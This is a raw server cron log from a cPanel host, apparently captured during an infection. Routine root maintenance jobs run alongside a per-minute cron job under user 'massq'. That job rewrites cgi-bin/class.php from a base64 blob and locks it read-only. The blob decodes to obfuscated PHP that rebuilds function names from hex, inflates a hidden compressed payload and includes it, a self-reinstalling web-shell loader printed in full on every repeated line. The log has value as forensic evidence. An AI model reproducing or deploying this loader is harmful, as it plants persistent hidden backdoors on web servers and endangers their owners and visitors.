YO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:46:01 server CROND[17457]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:46:01 server CROND[17458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:46:01 server CROND[17459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:47:01 server CROND[17836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:47:01 server CROND[17835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:47:01 server CROND[17837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:48:01 server CROND[18204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:48:01 server CROND[18205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:48:01 server CROND[18206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:49:01 server CROND[18579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:49:01 server CROND[18578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:49:01 server CROND[18580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:50:01 server CROND[18964]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 23:50:01 server CROND[18967]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:50:01 server CROND[18969]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 23:50:01 server CROND[18970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:50:01 server CROND[18972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:50:01 server CROND[18974]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 23:50:01 server CROND[18968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:50:01 server CROND[18973]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 23:50:01 server CROND[18976]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:51:01 server CROND[19891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:51:01 server CROND[19892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:51:01 server CROND[19893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:52:01 server CROND[20261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:52:01 server CROND[20263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:52:01 server CROND[20262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:53:01 server CROND[20632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:53:01 server CROND[20633]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  5 23:53:01 server CROND[20634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:53:01 server CROND[20635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:54:01 server CROND[21013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:54:01 server CROND[21012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:54:01 server CROND[21014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:55:01 server CROND[21403]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:55:01 server CROND[21405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:55:01 server CROND[21404]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 23:55:01 server CROND[21406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:55:01 server CROND[21410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:55:01 server CROND[21407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:55:01 server CROND[21408]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 23:56:01 server CROND[22483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:56:01 server CROND[22485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:56:01 server CROND[22486]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:57:01 server CROND[23019]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 23:57:01 server CROND[23018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:57:01 server CROND[23020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:57:01 server CROND[23038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
